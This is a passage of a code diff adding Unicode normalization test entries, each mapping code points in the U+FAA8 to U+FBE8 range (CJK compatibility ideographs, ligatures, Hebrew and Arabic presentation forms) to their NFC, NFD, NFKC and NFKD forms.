+{ source: [0xFAA8], NFC: [0x76F4], NFD: [0x76F4], NFKC: [0x76F4], NFKD: [0x76F4] },
+{ source: [0xFAA9], NFC: [0x774A], NFD: [0x774A], NFKC: [0x774A], NFKD: [0x774A] },
+{ source: [0xFAAA], NFC: [0x7740], NFD: [0x7740], NFKC: [0x7740], NFKD: [0x7740] },
+{ source: [0xFAAB], NFC: [0x78CC], NFD: [0x78CC], NFKC: [0x78CC], NFKD: [0x78CC] },
+{ source: [0xFAAC], NFC: [0x7AB1], NFD: [0x7AB1], NFKC: [0x7AB1], NFKD: [0x7AB1] },
+{ source: [0xFAAD], NFC: [0x7BC0], NFD: [0x7BC0], NFKC: [0x7BC0], NFKD: [0x7BC0] },
+{ source: [0xFAAE], NFC: [0x7C7B], NFD: [0x7C7B], NFKC: [0x7C7B], NFKD: [0x7C7B] },
+{ source: [0xFAAF], NFC: [0x7D5B], NFD: [0x7D5B], NFKC: [0x7D5B], NFKD: [0x7D5B] },
+{ source: [0xFAB0], NFC: [0x7DF4], NFD: [0x7DF4], NFKC: [0x7DF4], NFKD: [0x7DF4] },
+{ source: [0xFAB1], NFC: [0x7F3E], NFD: [0x7F3E], NFKC: [0x7F3E], NFKD: [0x7F3E] },
+{ source: [0xFAB2], NFC: [0x8005], NFD: [0x8005], NFKC: [0x8005], NFKD: [0x8005] },
+{ source: [0xFAB3], NFC: [0x8352], NFD: [0x8352], NFKC: [0x8352], NFKD: [0x8352] },
+{ source: [0xFAB4], NFC: [0x83EF], NFD: [0x83EF], NFKC: [0x83EF], NFKD: [0x83EF] },
+{ source: [0xFAB5], NFC: [0x8779], NFD: [0x8779], NFKC: [0x8779], NFKD: [0x8779] },
+{ source: [0xFAB6], NFC: [0x8941], NFD: [0x8941], NFKC: [0x8941], NFKD: [0x8941] },
+{ source: [0xFAB7], NFC: [0x8986], NFD: [0x8986], NFKC: [0x8986], NFKD: [0x8986] },
+{ source: [0xFAB8], NFC: [0x8996], NFD: [0x8996], NFKC: [0x8996], NFKD: [0x8996] },
+{ source: [0xFAB9], NFC: [0x8ABF], NFD: [0x8ABF], NFKC: [0x8ABF], NFKD: [0x8ABF] },
+{ source: [0xFABA], NFC: [0x8AF8], NFD: [0x8AF8], NFKC: [0x8AF8], NFKD: [0x8AF8] },
+{ source: [0xFABB], NFC: [0x8ACB], NFD: [0x8ACB], NFKC: [0x8ACB], NFKD: [0x8ACB] },
+{ source: [0xFABC], NFC: [0x8B01], NFD: [0x8B01], NFKC: [0x8B01], NFKD: [0x8B01] },
+{ source: [0xFABD], NFC: [0x8AFE], NFD: [0x8AFE], NFKC: [0x8AFE], NFKD: [0x8AFE] },
+{ source: [0xFABE], NFC: [0x8AED], NFD: [0x8AED], NFKC: [0x8AED], NFKD: [0x8AED] },
+{ source: [0xFABF], NFC: [0x8B39], NFD: [0x8B39], NFKC: [0x8B39], NFKD: [0x8B39] },
+{ source: [0xFAC0], NFC: [0x8B8A], NFD: [0x8B8A], NFKC: [0x8B8A], NFKD: [0x8B8A] },
+{ source: [0xFAC1], NFC: [0x8D08], NFD: [0x8D08], NFKC: [0x8D08], NFKD: [0x8D08] },
+{ source: [0xFAC2], NFC: [0x8F38], NFD: [0x8F38], NFKC: [0x8F38], NFKD: [0x8F38] },
+{ source: [0xFAC3], NFC: [0x9072], NFD: [0x9072], NFKC: [0x9072], NFKD: [0x9072] },
+{ source: [0xFAC4], NFC: [0x9199], NFD: [0x9199], NFKC: [0x9199], NFKD: [0x9199] },
+{ source: [0xFAC5], NFC: [0x9276], NFD: [0x9276], NFKC: [0x9276], NFKD: [0x9276] },
+{ source: [0xFAC6], NFC: [0x967C], NFD: [0x967C], NFKC: [0x967C], NFKD: [0x967C] },
+{ source: [0xFAC7], NFC: [0x96E3], NFD: [0x96E3], NFKC: [0x96E3], NFKD: [0x96E3] },
+{ source: [0xFAC8], NFC: [0x9756], NFD: [0x9756], NFKC: [0x9756], NFKD: [0x9756] },
+{ source: [0xFAC9], NFC: [0x97DB], NFD: [0x97DB], NFKC: [0x97DB], NFKD: [0x97DB] },
+{ source: [0xFACA], NFC: [0x97FF], NFD: [0x97FF], NFKC: [0x97FF], NFKD: [0x97FF] },
+{ source: [0xFACB], NFC: [0x980B], NFD: [0x980B], NFKC: [0x980B], NFKD: [0x980B] },
+{ source: [0xFACC], NFC: [0x983B], NFD: [0x983B], NFKC: [0x983B], NFKD: [0x983B] },
+{ source: [0xFACD], NFC: [0x9B12], NFD: [0x9B12], NFKC: [0x9B12], NFKD: [0x9B12] },
+{ source: [0xFACE], NFC: [0x9F9C], NFD: [0x9F9C], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0xFACF], NFC: [0x2284A], NFD: [0x2284A], NFKC: [0x2284A], NFKD: [0x2284A] },
+{ source: [0xFAD0], NFC: [0x22844], NFD: [0x22844], NFKC: [0x22844], NFKD: [0x22844] },
+{ source: [0xFAD1], NFC: [0x233D5], NFD: [0x233D5], NFKC: [0x233D5], NFKD: [0x233D5] },
+{ source: [0xFAD2], NFC: [0x3B9D], NFD: [0x3B9D], NFKC: [0x3B9D], NFKD: [0x3B9D] },
+{ source: [0xFAD3], NFC: [0x4018], NFD: [0x4018], NFKC: [0x4018], NFKD: [0x4018] },
+{ source: [0xFAD4], NFC: [0x4039], NFD: [0x4039], NFKC: [0x4039], NFKD: [0x4039] },
+{ source: [0xFAD5], NFC: [0x25249], NFD: [0x25249], NFKC: [0x25249], NFKD: [0x25249] },
+{ source: [0xFAD6], NFC: [0x25CD0], NFD: [0x25CD0], NFKC: [0x25CD0], NFKD: [0x25CD0] },
+{ source: [0xFAD7], NFC: [0x27ED3], NFD: [0x27ED3], NFKC: [0x27ED3], NFKD: [0x27ED3] },
+{ source: [0xFAD8], NFC: [0x9F43], NFD: [0x9F43], NFKC: [0x9F43], NFKD: [0x9F43] },
+{ source: [0xFAD9], NFC: [0x9F8E], NFD: [0x9F8E], NFKC: [0x9F8E], NFKD: [0x9F8E] },
+{ source: [0xFB00], NFC: [0xFB00], NFD: [0xFB00], NFKC: [0x0066, 0x0066], NFKD: [0x0066, 0x0066] },
+{ source: [0xFB01], NFC: [0xFB01], NFD: [0xFB01], NFKC: [0x0066, 0x0069], NFKD: [0x0066, 0x0069] },
+{ source: [0xFB02], NFC: [0xFB02], NFD: [0xFB02], NFKC: [0x0066, 0x006C], NFKD: [0x0066, 0x006C] },
+{ source: [0xFB03], NFC: [0xFB03], NFD: [0xFB03], NFKC: [0x0066, 0x0066, 0x0069], NFKD: [0x0066, 0x0066, 0x0069] },
+{ source: [0xFB04], NFC: [0xFB04], NFD: [0xFB04], NFKC: [0x0066, 0x0066, 0x006C], NFKD: [0x0066, 0x0066, 0x006C] },
+{ source: [0xFB05], NFC: [0xFB05], NFD: [0xFB05], NFKC: [0x0073, 0x0074], NFKD: [0x0073, 0x0074] },
+{ source: [0xFB06], NFC: [0xFB06], NFD: [0xFB06], NFKC: [0x0073, 0x0074], NFKD: [0x0073, 0x0074] },
+{ source: [0xFB13], NFC: [0xFB13], NFD: [0xFB13], NFKC: [0x0574, 0x0576], NFKD: [0x0574, 0x0576] },
+{ source: [0xFB14], NFC: [0xFB14], NFD: [0xFB14], NFKC: [0x0574, 0x0565], NFKD: [0x0574, 0x0565] },
+{ source: [0xFB15], NFC: [0xFB15], NFD: [0xFB15], NFKC: [0x0574, 0x056B], NFKD: [0x0574, 0x056B] },
+{ source: [0xFB16], NFC: [0xFB16], NFD: [0xFB16], NFKC: [0x057E, 0x0576], NFKD: [0x057E, 0x0576] },
+{ source: [0xFB17], NFC: [0xFB17], NFD: [0xFB17], NFKC: [0x0574, 0x056D], NFKD: [0x0574, 0x056D] },
+{ source: [0xFB1D], NFC: [0x05D9, 0x05B4], NFD: [0x05D9, 0x05B4], NFKC: [0x05D9, 0x05B4], NFKD: [0x05D9, 0x05B4] },
+{ source: [0xFB1F], NFC: [0x05F2, 0x05B7], NFD: [0x05F2, 0x05B7], NFKC: [0x05F2, 0x05B7], NFKD: [0x05F2, 0x05B7] },
+{ source: [0xFB20], NFC: [0xFB20], NFD: [0xFB20], NFKC: [0x05E2], NFKD: [0x05E2] },
+{ source: [0xFB21], NFC: [0xFB21], NFD: [0xFB21], NFKC: [0x05D0], NFKD: [0x05D0] },
+{ source: [0xFB22], NFC: [0xFB22], NFD: [0xFB22], NFKC: [0x05D3], NFKD: [0x05D3] },
+{ source: [0xFB23], NFC: [0xFB23], NFD: [0xFB23], NFKC: [0x05D4], NFKD: [0x05D4] },
+{ source: [0xFB24], NFC: [0xFB24], NFD: [0xFB24], NFKC: [0x05DB], NFKD: [0x05DB] },
+{ source: [0xFB25], NFC: [0xFB25], NFD: [0xFB25], NFKC: [0x05DC], NFKD: [0x05DC] },
+{ source: [0xFB26], NFC: [0xFB26], NFD: [0xFB26], NFKC: [0x05DD], NFKD: [0x05DD] },
+{ source: [0xFB27], NFC: [0xFB27], NFD: [0xFB27], NFKC: [0x05E8], NFKD: [0x05E8] },
+{ source: [0xFB28], NFC: [0xFB28], NFD: [0xFB28], NFKC: [0x05EA], NFKD: [0x05EA] },
+{ source: [0xFB29], NFC: [0xFB29], NFD: [0xFB29], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0xFB2A], NFC: [0x05E9, 0x05C1], NFD: [0x05E9, 0x05C1], NFKC: [0x05E9, 0x05C1], NFKD: [0x05E9, 0x05C1] },
+{ source: [0xFB2B], NFC: [0x05E9, 0x05C2], NFD: [0x05E9, 0x05C2], NFKC: [0x05E9, 0x05C2], NFKD: [0x05E9, 0x05C2] },
+{ source: [0xFB2C], NFC: [0x05E9, 0x05BC, 0x05C1], NFD: [0x05E9, 0x05BC, 0x05C1], NFKC: [0x05E9, 0x05BC, 0x05C1], NFKD: [0x05E9, 0x05BC, 0x05C1] },
+{ source: [0xFB2D], NFC: [0x05E9, 0x05BC, 0x05C2], NFD: [0x05E9, 0x05BC, 0x05C2], NFKC: [0x05E9, 0x05BC, 0x05C2], NFKD: [0x05E9, 0x05BC, 0x05C2] },
+{ source: [0xFB2E], NFC: [0x05D0, 0x05B7], NFD: [0x05D0, 0x05B7], NFKC: [0x05D0, 0x05B7], NFKD: [0x05D0, 0x05B7] },
+{ source: [0xFB2F], NFC: [0x05D0, 0x05B8], NFD: [0x05D0, 0x05B8], NFKC: [0x05D0, 0x05B8], NFKD: [0x05D0, 0x05B8] },
+{ source: [0xFB30], NFC: [0x05D0, 0x05BC], NFD: [0x05D0, 0x05BC], NFKC: [0x05D0, 0x05BC], NFKD: [0x05D0, 0x05BC] },
+{ source: [0xFB31], NFC: [0x05D1, 0x05BC], NFD: [0x05D1, 0x05BC], NFKC: [0x05D1, 0x05BC], NFKD: [0x05D1, 0x05BC] },
+{ source: [0xFB32], NFC: [0x05D2, 0x05BC], NFD: [0x05D2, 0x05BC], NFKC: [0x05D2, 0x05BC], NFKD: [0x05D2, 0x05BC] },
+{ source: [0xFB33], NFC: [0x05D3, 0x05BC], NFD: [0x05D3, 0x05BC], NFKC: [0x05D3, 0x05BC], NFKD: [0x05D3, 0x05BC] },
+{ source: [0xFB34], NFC: [0x05D4, 0x05BC], NFD: [0x05D4, 0x05BC], NFKC: [0x05D4, 0x05BC], NFKD: [0x05D4, 0x05BC] },
+{ source: [0xFB35], NFC: [0x05D5, 0x05BC], NFD: [0x05D5, 0x05BC], NFKC: [0x05D5, 0x05BC], NFKD: [0x05D5, 0x05BC] },
+{ source: [0xFB36], NFC: [0x05D6, 0x05BC], NFD: [0x05D6, 0x05BC], NFKC: [0x05D6, 0x05BC], NFKD: [0x05D6, 0x05BC] },
+{ source: [0xFB38], NFC: [0x05D8, 0x05BC], NFD: [0x05D8, 0x05BC], NFKC: [0x05D8, 0x05BC], NFKD: [0x05D8, 0x05BC] },
+{ source: [0xFB39], NFC: [0x05D9, 0x05BC], NFD: [0x05D9, 0x05BC], NFKC: [0x05D9, 0x05BC], NFKD: [0x05D9, 0x05BC] },
+{ source: [0xFB3A], NFC: [0x05DA, 0x05BC], NFD: [0x05DA, 0x05BC], NFKC: [0x05DA, 0x05BC], NFKD: [0x05DA, 0x05BC] },
+{ source: [0xFB3B], NFC: [0x05DB, 0x05BC], NFD: [0x05DB, 0x05BC], NFKC: [0x05DB, 0x05BC], NFKD: [0x05DB, 0x05BC] },
+{ source: [0xFB3C], NFC: [0x05DC, 0x05BC], NFD: [0x05DC, 0x05BC], NFKC: [0x05DC, 0x05BC], NFKD: [0x05DC, 0x05BC] },
+{ source: [0xFB3E], NFC: [0x05DE, 0x05BC], NFD: [0x05DE, 0x05BC], NFKC: [0x05DE, 0x05BC], NFKD: [0x05DE, 0x05BC] },
+{ source: [0xFB40], NFC: [0x05E0, 0x05BC], NFD: [0x05E0, 0x05BC], NFKC: [0x05E0, 0x05BC], NFKD: [0x05E0, 0x05BC] },
+{ source: [0xFB41], NFC: [0x05E1, 0x05BC], NFD: [0x05E1, 0x05BC], NFKC: [0x05E1, 0x05BC], NFKD: [0x05E1, 0x05BC] },
+{ source: [0xFB43], NFC: [0x05E3, 0x05BC], NFD: [0x05E3, 0x05BC], NFKC: [0x05E3, 0x05BC], NFKD: [0x05E3, 0x05BC] },
+{ source: [0xFB44], NFC: [0x05E4, 0x05BC], NFD: [0x05E4, 0x05BC], NFKC: [0x05E4, 0x05BC], NFKD: [0x05E4, 0x05BC] },
+{ source: [0xFB46], NFC: [0x05E6, 0x05BC], NFD: [0x05E6, 0x05BC], NFKC: [0x05E6, 0x05BC], NFKD: [0x05E6, 0x05BC] },
+{ source: [0xFB47], NFC: [0x05E7, 0x05BC], NFD: [0x05E7, 0x05BC], NFKC: [0x05E7, 0x05BC], NFKD: [0x05E7, 0x05BC] },
+{ source: [0xFB48], NFC: [0x05E8, 0x05BC], NFD: [0x05E8, 0x05BC], NFKC: [0x05E8, 0x05BC], NFKD: [0x05E8, 0x05BC] },
+{ source: [0xFB49], NFC: [0x05E9, 0x05BC], NFD: [0x05E9, 0x05BC], NFKC: [0x05E9, 0x05BC], NFKD: [0x05E9, 0x05BC] },
+{ source: [0xFB4A], NFC: [0x05EA, 0x05BC], NFD: [0x05EA, 0x05BC], NFKC: [0x05EA, 0x05BC], NFKD: [0x05EA, 0x05BC] },
+{ source: [0xFB4B], NFC: [0x05D5, 0x05B9], NFD: [0x05D5, 0x05B9], NFKC: [0x05D5, 0x05B9], NFKD: [0x05D5, 0x05B9] },
+{ source: [0xFB4C], NFC: [0x05D1, 0x05BF], NFD: [0x05D1, 0x05BF], NFKC: [0x05D1, 0x05BF], NFKD: [0x05D1, 0x05BF] },
+{ source: [0xFB4D], NFC: [0x05DB, 0x05BF], NFD: [0x05DB, 0x05BF], NFKC: [0x05DB, 0x05BF], NFKD: [0x05DB, 0x05BF] },
+{ source: [0xFB4E], NFC: [0x05E4, 0x05BF], NFD: [0x05E4, 0x05BF], NFKC: [0x05E4, 0x05BF], NFKD: [0x05E4, 0x05BF] },
+{ source: [0xFB4F], NFC: [0xFB4F], NFD: [0xFB4F], NFKC: [0x05D0, 0x05DC], NFKD: [0x05D0, 0x05DC] },
+{ source: [0xFB50], NFC: [0xFB50], NFD: [0xFB50], NFKC: [0x0671], NFKD: [0x0671] },
+{ source: [0xFB51], NFC: [0xFB51], NFD: [0xFB51], NFKC: [0x0671], NFKD: [0x0671] },
+{ source: [0xFB52], NFC: [0xFB52], NFD: [0xFB52], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB53], NFC: [0xFB53], NFD: [0xFB53], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB54], NFC: [0xFB54], NFD: [0xFB54], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB55], NFC: [0xFB55], NFD: [0xFB55], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB56], NFC: [0xFB56], NFD: [0xFB56], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB57], NFC: [0xFB57], NFD: [0xFB57], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB58], NFC: [0xFB58], NFD: [0xFB58], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB59], NFC: [0xFB59], NFD: [0xFB59], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB5A], NFC: [0xFB5A], NFD: [0xFB5A], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5B], NFC: [0xFB5B], NFD: [0xFB5B], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5C], NFC: [0xFB5C], NFD: [0xFB5C], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5D], NFC: [0xFB5D], NFD: [0xFB5D], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5E], NFC: [0xFB5E], NFD: [0xFB5E], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB5F], NFC: [0xFB5F], NFD: [0xFB5F], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB60], NFC: [0xFB60], NFD: [0xFB60], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB61], NFC: [0xFB61], NFD: [0xFB61], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB62], NFC: [0xFB62], NFD: [0xFB62], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB63], NFC: [0xFB63], NFD: [0xFB63], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB64], NFC: [0xFB64], NFD: [0xFB64], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB65], NFC: [0xFB65], NFD: [0xFB65], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB66], NFC: [0xFB66], NFD: [0xFB66], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB67], NFC: [0xFB67], NFD: [0xFB67], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB68], NFC: [0xFB68], NFD: [0xFB68], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB69], NFC: [0xFB69], NFD: [0xFB69], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB6A], NFC: [0xFB6A], NFD: [0xFB6A], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6B], NFC: [0xFB6B], NFD: [0xFB6B], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6C], NFC: [0xFB6C], NFD: [0xFB6C], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6D], NFC: [0xFB6D], NFD: [0xFB6D], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6E], NFC: [0xFB6E], NFD: [0xFB6E], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB6F], NFC: [0xFB6F], NFD: [0xFB6F], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB70], NFC: [0xFB70], NFD: [0xFB70], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB71], NFC: [0xFB71], NFD: [0xFB71], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB72], NFC: [0xFB72], NFD: [0xFB72], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB73], NFC: [0xFB73], NFD: [0xFB73], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB74], NFC: [0xFB74], NFD: [0xFB74], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB75], NFC: [0xFB75], NFD: [0xFB75], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB76], NFC: [0xFB76], NFD: [0xFB76], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB77], NFC: [0xFB77], NFD: [0xFB77], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB78], NFC: [0xFB78], NFD: [0xFB78], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB79], NFC: [0xFB79], NFD: [0xFB79], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB7A], NFC: [0xFB7A], NFD: [0xFB7A], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7B], NFC: [0xFB7B], NFD: [0xFB7B], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7C], NFC: [0xFB7C], NFD: [0xFB7C], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7D], NFC: [0xFB7D], NFD: [0xFB7D], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7E], NFC: [0xFB7E], NFD: [0xFB7E], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB7F], NFC: [0xFB7F], NFD: [0xFB7F], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB80], NFC: [0xFB80], NFD: [0xFB80], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB81], NFC: [0xFB81], NFD: [0xFB81], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB82], NFC: [0xFB82], NFD: [0xFB82], NFKC: [0x068D], NFKD: [0x068D] },
+{ source: [0xFB83], NFC: [0xFB83], NFD: [0xFB83], NFKC: [0x068D], NFKD: [0x068D] },
+{ source: [0xFB84], NFC: [0xFB84], NFD: [0xFB84], NFKC: [0x068C], NFKD: [0x068C] },
+{ source: [0xFB85], NFC: [0xFB85], NFD: [0xFB85], NFKC: [0x068C], NFKD: [0x068C] },
+{ source: [0xFB86], NFC: [0xFB86], NFD: [0xFB86], NFKC: [0x068E], NFKD: [0x068E] },
+{ source: [0xFB87], NFC: [0xFB87], NFD: [0xFB87], NFKC: [0x068E], NFKD: [0x068E] },
+{ source: [0xFB88], NFC: [0xFB88], NFD: [0xFB88], NFKC: [0x0688], NFKD: [0x0688] },
+{ source: [0xFB89], NFC: [0xFB89], NFD: [0xFB89], NFKC: [0x0688], NFKD: [0x0688] },
+{ source: [0xFB8A], NFC: [0xFB8A], NFD: [0xFB8A], NFKC: [0x0698], NFKD: [0x0698] },
+{ source: [0xFB8B], NFC: [0xFB8B], NFD: [0xFB8B], NFKC: [0x0698], NFKD: [0x0698] },
+{ source: [0xFB8C], NFC: [0xFB8C], NFD: [0xFB8C], NFKC: [0x0691], NFKD: [0x0691] },
+{ source: [0xFB8D], NFC: [0xFB8D], NFD: [0xFB8D], NFKC: [0x0691], NFKD: [0x0691] },
+{ source: [0xFB8E], NFC: [0xFB8E], NFD: [0xFB8E], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB8F], NFC: [0xFB8F], NFD: [0xFB8F], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB90], NFC: [0xFB90], NFD: [0xFB90], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB91], NFC: [0xFB91], NFD: [0xFB91], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB92], NFC: [0xFB92], NFD: [0xFB92], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB93], NFC: [0xFB93], NFD: [0xFB93], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB94], NFC: [0xFB94], NFD: [0xFB94], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB95], NFC: [0xFB95], NFD: [0xFB95], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB96], NFC: [0xFB96], NFD: [0xFB96], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB97], NFC: [0xFB97], NFD: [0xFB97], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB98], NFC: [0xFB98], NFD: [0xFB98], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB99], NFC: [0xFB99], NFD: [0xFB99], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB9A], NFC: [0xFB9A], NFD: [0xFB9A], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9B], NFC: [0xFB9B], NFD: [0xFB9B], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9C], NFC: [0xFB9C], NFD: [0xFB9C], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9D], NFC: [0xFB9D], NFD: [0xFB9D], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9E], NFC: [0xFB9E], NFD: [0xFB9E], NFKC: [0x06BA], NFKD: [0x06BA] },
+{ source: [0xFB9F], NFC: [0xFB9F], NFD: [0xFB9F], NFKC: [0x06BA], NFKD: [0x06BA] },
+{ source: [0xFBA0], NFC: [0xFBA0], NFD: [0xFBA0], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA1], NFC: [0xFBA1], NFD: [0xFBA1], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA2], NFC: [0xFBA2], NFD: [0xFBA2], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA3], NFC: [0xFBA3], NFD: [0xFBA3], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA4], NFC: [0xFBA4], NFD: [0xFBA4], NFKC: [0x06C0], NFKD: [0x06D5, 0x0654] },
+{ source: [0xFBA5], NFC: [0xFBA5], NFD: [0xFBA5], NFKC: [0x06C0], NFKD: [0x06D5, 0x0654] },
+{ source: [0xFBA6], NFC: [0xFBA6], NFD: [0xFBA6], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBA7], NFC: [0xFBA7], NFD: [0xFBA7], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBA8], NFC: [0xFBA8], NFD: [0xFBA8], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBA9], NFC: [0xFBA9], NFD: [0xFBA9], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBAA], NFC: [0xFBAA], NFD: [0xFBAA], NFKC: [0x06BE], NFKD: [0x06BE] },
+{ source: [0xFBAB], NFC: [0xFBAB], NFD: [0xFBAB], NFKC: [0x06BE], NFKD: [0x06BE] },
+{ source: [0xFBAC], NFC: [0xFBAC], NFD: [0xFBAC], NFKC: [0x06BE], NFKD: [0x06BE] },
+{ source: [0xFBAD], NFC: [0xFBAD], NFD: [0xFBAD], NFKC: [0x06BE], NFKD: [0x06BE] },
+{ source: [0xFBAE], NFC: [0xFBAE], NFD: [0xFBAE], NFKC: [0x06D2], NFKD: [0x06D2] },
+{ source: [0xFBAF], NFC: [0xFBAF], NFD: [0xFBAF], NFKC: [0x06D2], NFKD: [0x06D2] },
+{ source: [0xFBB0], NFC: [0xFBB0], NFD: [0xFBB0], NFKC: [0x06D3], NFKD: [0x06D2, 0x0654] },
+{ source: [0xFBB1], NFC: [0xFBB1], NFD: [0xFBB1], NFKC: [0x06D3], NFKD: [0x06D2, 0x0654] },
+{ source: [0xFBD3], NFC: [0xFBD3], NFD: [0xFBD3], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD4], NFC: [0xFBD4], NFD: [0xFBD4], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD5], NFC: [0xFBD5], NFD: [0xFBD5], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD6], NFC: [0xFBD6], NFD: [0xFBD6], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD7], NFC: [0xFBD7], NFD: [0xFBD7], NFKC: [0x06C7], NFKD: [0x06C7] },
+{ source: [0xFBD8], NFC: [0xFBD8], NFD: [0xFBD8], NFKC: [0x06C7], NFKD: [0x06C7] },
+{ source: [0xFBD9], NFC: [0xFBD9], NFD: [0xFBD9], NFKC: [0x06C6], NFKD: [0x06C6] },
+{ source: [0xFBDA], NFC: [0xFBDA], NFD: [0xFBDA], NFKC: [0x06C6], NFKD: [0x06C6] },
+{ source: [0xFBDB], NFC: [0xFBDB], NFD: [0xFBDB], NFKC: [0x06C8], NFKD: [0x06C8] },
+{ source: [0xFBDC], NFC: [0xFBDC], NFD: [0xFBDC], NFKC: [0x06C8], NFKD: [0x06C8] },
+{ source: [0xFBDD], NFC: [0xFBDD], NFD: [0xFBDD], NFKC: [0x06C7, 0x0674], NFKD: [0x06C7, 0x0674] },
+{ source: [0xFBDE], NFC: [0xFBDE], NFD: [0xFBDE], NFKC: [0x06CB], NFKD: [0x06CB] },
+{ source: [0xFBDF], NFC: [0xFBDF], NFD: [0xFBDF], NFKC: [0x06CB], NFKD: [0x06CB] },
+{ source: [0xFBE0], NFC: [0xFBE0], NFD: [0xFBE0], NFKC: [0x06C5], NFKD: [0x06C5] },
+{ source: [0xFBE1], NFC: [0xFBE1], NFD: [0xFBE1], NFKC: [0x06C5], NFKD: [0x06C5] },
+{ source: [0xFBE2], NFC: [0xFBE2], NFD: [0xFBE2], NFKC: [0x06C9], NFKD: [0x06C9] },
+{ source: [0xFBE3], NFC: [0xFBE3], NFD: [0xFBE3], NFKC: [0x06C9], NFKD: [0x06C9] },
+{ source: [0xFBE4], NFC: [0xFBE4], NFD: [0xFBE4], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE5], NFC: [0xFBE5], NFD: [0xFBE5], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE6], NFC: [0xFBE6], NFD: [0xFBE6], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE7], NFC: [0xFBE7], NFD: [0xFBE7], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE8], NFC: [0xFBE8], NFD: [0xFBE8], NFKC: [0x0649], NFKD: [0x0649] },
